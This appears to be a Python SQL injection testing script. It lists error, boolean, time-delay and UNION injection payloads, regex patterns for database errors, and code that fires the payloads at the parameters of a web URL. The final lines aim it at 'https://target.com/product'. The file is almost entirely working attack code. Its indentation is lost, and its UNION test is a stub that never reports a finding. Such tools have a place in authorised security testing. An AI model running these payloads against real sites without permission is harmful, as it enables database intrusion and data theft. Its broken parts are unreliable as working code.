"""
SQL Injection Vulnerability Tester
"""
import requests
import time
import re
from urllib.parse import urljoin, quote
class SQLInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
self.timeout = 30
ERROR_PATTERNS = {
'MySQL': [
r"SQL syntax.*MySQL",
r"Warning.*mysql_.*",
r"MySqlException",
r"valid MySQL result",
r"check the manual that corresponds to your MySQL server version",
],
'PostgreSQL': [
r"PostgreSQL.*ERROR",
r"Warning.*\Wpg_.*",
r"valid PostgreSQL result",
r"Npgsql\.",
r"PG::SyntaxError:",
],
'MSSQL': [
r"Driver.* SQL[\-\_\ ]*Server",
r"OLE DB.* SQL Server",
r"(\W|\A)SQL Server.*Driver",
r"Warning.*mssql_.*",
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}",
r"System\.Data\.SqlClient\.SqlException",
r"Unclosed quotation mark after the character string",
],
'Oracle': [
r"\bORA-[0-9][0-9][0-9][0-9]",
r"Oracle error",
r"Oracle.*Driver",
r"Warning.*\Woci_.*",
r"Warning.*\Wora_.*",
],
'SQLite': [
r"SQLite/JDBCDriver",
r"SQLite\.Exception",
r"System\.Data\.SQLite\.SQLiteException",
r"Warning.*sqlite_.*",
r"Warning.*SQLite3::",
r"\[SQLITE_ERROR\]",
],
}
BASIC_PAYLOADS = [
"'",
"''",
'"',
'`',
"')",
"'))",
"\")",
"`))",
"'--",
"'/*",
"1'",
"1\"",
]
BOOLEAN_PAYLOADS = [
("' OR '1'='1", "' OR '1'='2"),
("' OR 1=1--", "' OR 1=2--"),
("1 OR 1=1", "1 OR 1=2"),
("1' OR '1'='1'--", "1' OR '1'='2'--"),
("\" OR \"1\"=\"1", "\" OR \"1\"=\"2"),
]
TIME_PAYLOADS = {
'MySQL': "' OR SLEEP(5)--",
'PostgreSQL': "'; SELECT pg_sleep(5);--",
'MSSQL': "'; WAITFOR DELAY '0:0:5';--",
'Oracle': "' OR DBMS_PIPE.RECEIVE_MESSAGE('a',5)='a",
'SQLite': "' OR (SELECT COUNT(*) FROM sqlite_master,sqlite_master,sqlite_master)--",
}
UNION_PAYLOADS = [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL--",
]
def test_error_based(self, param, method='GET'):
"""Test for error-based SQL injection"""
print(f"\n[*] Testing error-based SQLi on: {param}")
for payload in self.BASIC_PAYLOADS:
try:
if method == 'GET':
response = self.session.get(self.url, params={param: payload}, timeout=self.timeout)
else:
response = self.session.post(self.url, data={param: payload}, timeout=self.timeout)
for db, patterns in self.ERROR_PATTERNS.items():
for pattern in patterns:
if re.search(pattern, response.text, re.IGNORECASE):
print(f"[VULN] Error-based SQLi detected! (Database: {db})")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Error-based SQLi',
'parameter': param,
'payload': payload,
'database': db,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_boolean_based(self, param, method='GET'):
"""Test for boolean-based blind SQL injection"""
print(f"\n[*] Testing boolean-based blind SQLi on: {param}")
if method == 'GET':
baseline = self.session.get(self.url, params={param: 'test'}, timeout=self.timeout)
else:
baseline = self.session.post(self.url, data={param: 'test'}, timeout=self.timeout)
baseline_len = len(baseline.text)
for true_payload, false_payload in self.BOOLEAN_PAYLOADS:
try:
if method == 'GET':
true_response = self.session.get(self.url, params={param: true_payload}, timeout=self.timeout)
false_response = self.session.get(self.url, params={param: false_payload}, timeout=self.timeout)
else:
true_response = self.session.post(self.url, data={param: true_payload}, timeout=self.timeout)
false_response = self.session.post(self.url, data={param: false_payload}, timeout=self.timeout)
true_len = len(true_response.text)
false_len = len(false_response.text)
if abs(true_len - false_len) > 50:
print(f"[VULN] Boolean-based blind SQLi detected!")
print(f" True payload ({true_len} bytes): {true_payload}")
print(f" False payload ({false_len} bytes): {false_payload}")
self.findings.append({
'type': 'Boolean-based Blind SQLi',
'parameter': param,
'true_payload': true_payload,
'false_payload': false_payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_time_based(self, param, method='GET'):
"""Test for time-based blind SQL injection"""
print(f"\n[*] Testing time-based blind SQLi on: {param}")
start = time.time()
if method == 'GET':
self.session.get(self.url, params={param: 'test'}, timeout=self.timeout)
else:
self.session.post(self.url, data={param: 'test'}, timeout=self.timeout)
baseline_time = time.time() - start
for db, payload in self.TIME_PAYLOADS.items():
try:
start = time.time()
if method == 'GET':
self.session.get(self.url, params={param: payload}, timeout=self.timeout)
else:
self.session.post(self.url, data={param: payload}, timeout=self.timeout)
response_time = time.time() - start
if response_time > baseline_time + 4:
print(f"[VULN] Time-based blind SQLi detected! (Database: {db})")
print(f" Payload: {payload}")
print(f" Response time: {response_time:.2f}s (baseline: {baseline_time:.2f}s)")
self.findings.append({
'type': 'Time-based Blind SQLi',
'parameter': param,
'payload': payload,
'database': db,
'response_time': response_time,
'severity': 'Critical'
})
return True
except requests.exceptions.Timeout:
print(f"[VULN] Time-based blind SQLi - Request timed out! (Database: {db})")
self.findings.append({
'type': 'Time-based Blind SQLi',
'parameter': param,
'payload': payload,
'database': db,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_union_based(self, param, method='GET'):
"""Test for UNION-based SQL injection"""
print(f"\n[*] Testing UNION-based SQLi on: {param}")
for payload in self.UNION_PAYLOADS:
try:
if method == 'GET':
response = self.session.get(self.url, params={param: payload}, timeout=self.timeout)
else:
response = self.session.post(self.url, data={param: payload}, timeout=self.timeout)
if 'NULL' not in response.text:
pass
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SQL INJECTION VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo SQL injection vulnerabilities confirmed.")
print("Note: Manual testing may still reveal vulnerabilities.")
else:
print(f"\nFound {len(self.findings)} vulnerabilities:\n")
for f in self.findings:
print(f"[{f['severity']}] {f['type']}")
print(f" Parameter: {f['parameter']}")
if 'payload' in f:
print(f" Payload: {f['payload']}")
if 'database' in f:
print(f" Database: {f['database']}")
print()
def run_tests(self, params=None, method='GET'):
"""Run all SQL injection tests"""
if params is None:
params = ['id', 'q', 'search', 'user', 'name', 'page', 'category']
for param in params:
self.test_error_based(param, method)
self.test_boolean_based(param, method)
self.test_time_based(param, method)
self.test_union_based(param, method)
self.generate_report()
tester = SQLInjectionTester("https://target.com/product")
tester.run_tests(params=['id'])